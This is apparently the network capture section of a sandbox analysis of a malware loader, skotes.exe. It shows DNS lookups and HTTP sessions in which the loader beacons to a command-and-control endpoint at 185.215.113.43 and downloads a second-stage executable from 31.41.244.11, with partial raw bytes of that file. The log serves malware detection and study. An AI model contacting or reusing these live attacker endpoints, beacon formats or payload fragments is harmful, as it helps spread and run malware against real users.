Nov 24, 2024 14:29:47.106072903 CET	192.168.2.4	1.1.1.1	0x5a61	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 24, 2024 14:29:47.164021015 CET	192.168.2.4	1.1.1.1	0x9113	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:29:48.527371883 CET	192.168.2.4	1.1.1.1	0x3a90	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:30:46.366411924 CET	192.168.2.4	1.1.1.1	0x2207	Standard query (0)	home.fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:30:46.366413116 CET	192.168.2.4	1.1.1.1	0xf9db	Standard query (0)	home.fvtekk5pn.top	28	IN (0x0001)	false
Nov 24, 2024 14:30:48.505548954 CET	192.168.2.4	1.1.1.1	0xdf19	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:30:48.704879999 CET	192.168.2.4	1.1.1.1	0xdf19	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 24, 2024 14:24:14.621134043 CET	1.1.1.1	192.168.2.4	0xbf68	No error (0)	push-hook.cyou		104.21.10.6	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:24:14.621134043 CET	1.1.1.1	192.168.2.4	0xbf68	No error (0)	push-hook.cyou		172.67.161.207	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:24:28.127424955 CET	1.1.1.1	192.168.2.4	0x3067	No error (0)	home.fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:24:37.274439096 CET	1.1.1.1	192.168.2.4	0xedf0	No error (0)	property-imper.sbs		104.21.33.116	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:24:37.274439096 CET	1.1.1.1	192.168.2.4	0xedf0	No error (0)	property-imper.sbs		172.67.162.84	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:24:54.208321095 CET	1.1.1.1	192.168.2.4	0x5d95	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 24, 2024 14:24:54.208379030 CET	1.1.1.1	192.168.2.4	0xeeb8	No error (0)	www.google.com		142.250.181.100	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:24:59.628582954 CET	1.1.1.1	192.168.2.4	0xc825	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:24:59.773406982 CET	1.1.1.1	192.168.2.4	0x4a98	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:25:01.161879063 CET	1.1.1.1	192.168.2.4	0x209b	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 14:25:01.161879063 CET	1.1.1.1	192.168.2.4	0x209b	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:25:01.304188967 CET	1.1.1.1	192.168.2.4	0x933c	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:25:01.446919918 CET	1.1.1.1	192.168.2.4	0x445e	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net			28	IN (0x0001)	false
Nov 24, 2024 14:25:17.439496040 CET	1.1.1.1	192.168.2.4	0xe899	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 14:25:17.439496040 CET	1.1.1.1	192.168.2.4	0xe899	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:25:19.455318928 CET	1.1.1.1	192.168.2.4	0x285d	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 14:25:19.455318928 CET	1.1.1.1	192.168.2.4	0x285d	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:25:33.111479998 CET	1.1.1.1	192.168.2.4	0xc27e	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:25:33.111493111 CET	1.1.1.1	192.168.2.4	0xc27e	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:25:33.298542023 CET	1.1.1.1	192.168.2.4	0x4dc7	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:25:33.298599958 CET	1.1.1.1	192.168.2.4	0x4dc7	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:25:33.298609972 CET	1.1.1.1	192.168.2.4	0x4dc7	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:25:33.334336042 CET	1.1.1.1	192.168.2.4	0x9361	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:25:33.334383965 CET	1.1.1.1	192.168.2.4	0x9361	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:25:33.334500074 CET	1.1.1.1	192.168.2.4	0x9361	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:25:33.373676062 CET	1.1.1.1	192.168.2.4	0xc98a	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:25:33.373861074 CET	1.1.1.1	192.168.2.4	0xc98a	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:25:33.373878002 CET	1.1.1.1	192.168.2.4	0xc98a	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:25:33.418493986 CET	1.1.1.1	192.168.2.4	0xe585	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:25:33.418661118 CET	1.1.1.1	192.168.2.4	0xe585	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:25:33.418678045 CET	1.1.1.1	192.168.2.4	0xe585	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:25:36.707087040 CET	1.1.1.1	192.168.2.4	0x2a2	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:25:36.707114935 CET	1.1.1.1	192.168.2.4	0x2a2	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:25:36.898695946 CET	1.1.1.1	192.168.2.4	0x50b3	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:25:42.950042009 CET	1.1.1.1	192.168.2.4	0xa28e	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 24, 2024 14:25:42.950078011 CET	1.1.1.1	192.168.2.4	0x59ec	No error (0)	www.google.com		142.250.181.100	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:25:45.243391037 CET	1.1.1.1	192.168.2.4	0x9782	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 14:25:45.243391037 CET	1.1.1.1	192.168.2.4	0x9782	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 14:25:45.243391037 CET	1.1.1.1	192.168.2.4	0x9782	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 14:25:45.243391037 CET	1.1.1.1	192.168.2.4	0x9782	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:25:45.504694939 CET	1.1.1.1	192.168.2.4	0x8bf0	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 14:25:45.547538996 CET	1.1.1.1	192.168.2.4	0xe86b	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 14:25:45.547538996 CET	1.1.1.1	192.168.2.4	0xe86b	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 14:25:45.570216894 CET	1.1.1.1	192.168.2.4	0x456a	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 14:25:45.570216894 CET	1.1.1.1	192.168.2.4	0x456a	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 14:25:45.570216894 CET	1.1.1.1	192.168.2.4	0x456a	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:26:00.845190048 CET	1.1.1.1	192.168.2.4	0x885e	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 14:26:00.918651104 CET	1.1.1.1	192.168.2.4	0xf39c	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 14:26:02.936868906 CET	1.1.1.1	192.168.2.4	0x2bac	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:26:02.936906099 CET	1.1.1.1	192.168.2.4	0x2bac	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:26:02.938189030 CET	1.1.1.1	192.168.2.4	0x2bac	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:26:03.108901978 CET	1.1.1.1	192.168.2.4	0x6225	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:26:03.108946085 CET	1.1.1.1	192.168.2.4	0x6225	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:26:03.109072924 CET	1.1.1.1	192.168.2.4	0x6225	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:26:03.152441025 CET	1.1.1.1	192.168.2.4	0x7f8e	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:26:03.152646065 CET	1.1.1.1	192.168.2.4	0x7f8e	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:26:03.152663946 CET	1.1.1.1	192.168.2.4	0x7f8e	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:26:03.193423986 CET	1.1.1.1	192.168.2.4	0xfba	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:26:03.370975971 CET	1.1.1.1	192.168.2.4	0xda9a	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:26:03.371576071 CET	1.1.1.1	192.168.2.4	0xda9a	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:26:03.372535944 CET	1.1.1.1	192.168.2.4	0xda9a	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:26:17.100958109 CET	1.1.1.1	192.168.2.4	0x6a6d	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 14:26:17.100958109 CET	1.1.1.1	192.168.2.4	0x6a6d	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:26:21.152337074 CET	1.1.1.1	192.168.2.4	0x29b0	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 14:26:21.152337074 CET	1.1.1.1	192.168.2.4	0x29b0	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:27:20.331166029 CET	1.1.1.1	192.168.2.4	0xb5d4	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 14:27:20.331166029 CET	1.1.1.1	192.168.2.4	0xb5d4	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:28:13.695607901 CET	1.1.1.1	192.168.2.4	0x8a18	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 14:28:13.695607901 CET	1.1.1.1	192.168.2.4	0x8a18	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:28:42.075098038 CET	1.1.1.1	192.168.2.4	0xc251	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 14:28:42.075098038 CET	1.1.1.1	192.168.2.4	0xc251	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:28:42.215215921 CET	1.1.1.1	192.168.2.4	0xad6e	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net			28	IN (0x0001)	false
Nov 24, 2024 14:28:57.058877945 CET	1.1.1.1	192.168.2.4	0x10ec	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:28:57.131133080 CET	1.1.1.1	192.168.2.4	0x10ec	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:28:58.444200039 CET	1.1.1.1	192.168.2.4	0x74d2	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 14:28:58.444200039 CET	1.1.1.1	192.168.2.4	0x74d2	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:29:12.747812033 CET	1.1.1.1	192.168.2.4	0x8b53	No error (0)	www.google.com		142.250.181.100	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:29:12.748163939 CET	1.1.1.1	192.168.2.4	0xfbcd	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 24, 2024 14:29:17.955095053 CET	1.1.1.1	192.168.2.4	0x1115	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 14:29:18.041090012 CET	1.1.1.1	192.168.2.4	0x68b7	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 14:29:47.101581097 CET	1.1.1.1	192.168.2.4	0x1662	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:29:47.302849054 CET	1.1.1.1	192.168.2.4	0x9113	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 14:29:47.302849054 CET	1.1.1.1	192.168.2.4	0x9113	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:29:48.665700912 CET	1.1.1.1	192.168.2.4	0x3a90	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 14:29:48.665700912 CET	1.1.1.1	192.168.2.4	0x3a90	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:30:46.509669065 CET	1.1.1.1	192.168.2.4	0x2207	No error (0)	home.fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:30:48.983927011 CET	1.1.1.1	192.168.2.4	0xdf19	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 14:30:48.983927011 CET	1.1.1.1	192.168.2.4	0xdf19	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 24, 2024 14:30:48.983957052 CET	1.1.1.1	192.168.2.4	0xdf19	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 14:30:48.983957052 CET	1.1.1.1	192.168.2.4	0xdf19	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49748	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:24:05.924273014 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 14:24:07.351854086 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:24:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49759	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:24:08.980829000 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 14:24:10.371478081 CET	754	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:24:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 33 33 0d 0a 20 3c 63 3e 31 30 30 38 37 35 37 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 39 64 32 39 63 31 31 38 31 64 65 38 30 32 62 35 31 63 31 64 30 33 34 37 63 64 64 31 66 35 33 65 39 37 38 65 39 61 35 35 33 36 65 36 23 31 30 30 38 37 35 38 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 39 37 65 39 63 34 35 34 33 62 33 31 64 65 31 35 34 34 31 23 31 30 30 38 37 36 33 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 38 37 36 34 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 [TRUNCATED] Data Ascii: 233 <c>1008757001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fb9d29c1181de802b51c1d0347cdd1f53e978e9a5536e6#1008758001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbd97e9c4543b31de15441#1008763001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1008764001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1008765001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1008766001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49760	31.41.244.11	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:24:10.495048046 CET	66	OUT	GET /files/6639161109/r5mqFEC.exe HTTP/1.1 Host: 31.41.244.11
Nov 24, 2024 14:24:11.879380941 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:24:11 GMT Content-Type: application/octet-stream Content-Length: 513536 Last-Modified: Sun, 24 Nov 2024 12:22:56 GMT Connection: keep-alive ETag: "67431aa0-7d600" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 b7 da 41 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 68 02 00 00 9c 00 00 00 00 00 00 90 a8 01 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 30 08 00 00 06 00 00 00 00 00 00 03 00 40 c3 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 e2 02 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 03 00 3c 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 87 02 00 c0 00 00 00 00 00 00 00 00 00 00 00 c8 e3 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELAgh@0@T<@<8.textfh `.rdatadrtn@@.datah @.bss0@@.reloc<@@B.coS`@
Nov 24, 2024 14:24:11.879441977 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 14:24:11.879473925 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 14:24:11.879514933 CET	1236	IN	Data Raw: 45 98 8b 55 94 09 d0 83 f0 ff 81 cb 55 21 a6 86 21 d8 09 c1 89 f0 83 f0 ff 25 c5 dd 26 a9 8b 7d b4 81 f7 c5 dd 26 a9 21 fe 89 cb 83 f3 ff 81 e3 c5 dd 26 a9 21 f9 09 f0 09 cb 31 d8 8b 4d b8 83 f1 ff 81 e1 21 2a 49 b9 8b 75 b4 81 f6 21 2a 49 b9 8b Data Ascii: EUU!!%&}&!&!1M!Iu!I}!]!*I1}!E5Cge%!}!CgeU!1]2U2!}2!1M
Nov 24, 2024 14:24:11.879553080 CET	448	IN	Data Raw: f0 ff 35 43 2b 38 eb 25 43 2b 38 eb 8b 95 7c ff ff ff 81 f2 43 2b 38 eb 81 e2 08 28 eb e8 8b bd 7c ff ff ff 81 f7 08 28 eb e8 89 fb 81 e3 43 2b 38 eb 8b b5 7c ff ff ff 81 f6 ff ff ff ff 81 e6 08 28 eb e8 81 e7 ff ff ff ff 09 da 09 fe 31 f2 8b b5 Data Ascii: 5C+8%C+8\|C+8(\|(C+8\|(1t\|z(z(!\|'\|'d`\|5%'\d%\1\|5C+81!\|5
Nov 24, 2024 14:24:11.879587889 CET	1236	IN	Data Raw: 97 70 ff b2 89 f2 83 f2 ff 8b 9d 7c ff ff ff 81 f3 0b 04 90 ef 89 85 58 ff ff ff 25 0b 04 90 ef 89 9d 54 ff ff ff 81 e3 97 70 ff b2 89 95 50 ff ff ff 81 e2 0b 04 90 ef 89 85 4c ff ff ff 8b 85 54 ff ff ff 21 c6 8b 85 4c ff ff ff 09 d8 09 f2 31 d0 Data Ascii: p\|X%TpPLT!L1XPT!\|!1!\|]:]:!\|!!1!1MiE
Nov 24, 2024 14:24:11.879633904 CET	1236	IN	Data Raw: ff ff ff 09 c3 8b 85 08 ff ff ff 0d da ba a5 a4 83 f3 ff 21 c3 89 f8 21 f0 31 f7 09 f8 8b b5 10 ff ff ff 21 de 8b bd 10 ff ff ff 31 df 09 fe 89 c7 83 f7 ff 81 e7 db e3 4a ee 8b 9d 7c ff ff ff 81 f3 db e3 4a ee 21 d8 89 b5 04 ff ff ff 83 f6 ff 81 Data Ascii: !!1!1J\|J!J!1%\|!!!\|5""""!H%\|H!\|\|
Nov 24, 2024 14:24:11.879667997 CET	1236	IN	Data Raw: 85 70 fe ff ff 8b 85 7c ff ff ff 35 3c ac f8 5d 89 85 6c fe ff ff 8b 85 70 fe ff ff 25 3c ac f8 5d 89 85 68 fe ff ff 8b 85 74 fe ff ff 89 8d 64 fe ff ff 8b 8d 6c fe ff ff 21 c8 8b 8d 64 fe ff ff 81 e1 3c ac f8 5d 89 85 60 fe ff ff 8b 85 88 fe ff Data Ascii: p\|5<]lp%<]htdl!d<]`\l!hX`\TXT1pPdl<]!P%%%svL\|5sv!H
Nov 24, 2024 14:24:11.879704952 CET	1236	IN	Data Raw: ce 12 1e 3d 83 f7 ff 21 c7 89 d8 21 f0 31 f3 09 d8 89 d6 83 f6 ff 89 fb 83 f3 ff 89 85 ec fd ff ff 8b 85 7c ff ff ff 35 31 5f ef cd 89 b5 e8 fd ff ff 81 e6 31 5f ef cd 21 c2 89 9d e4 fd ff ff 81 e3 31 5f ef cd 21 c7 09 d6 09 fb 31 de 8b 95 e8 fd Data Ascii: =!!1\|51_1_!1_!11_!%8^v\|8^v!8^v!1\|HKHK!HK!1HK!
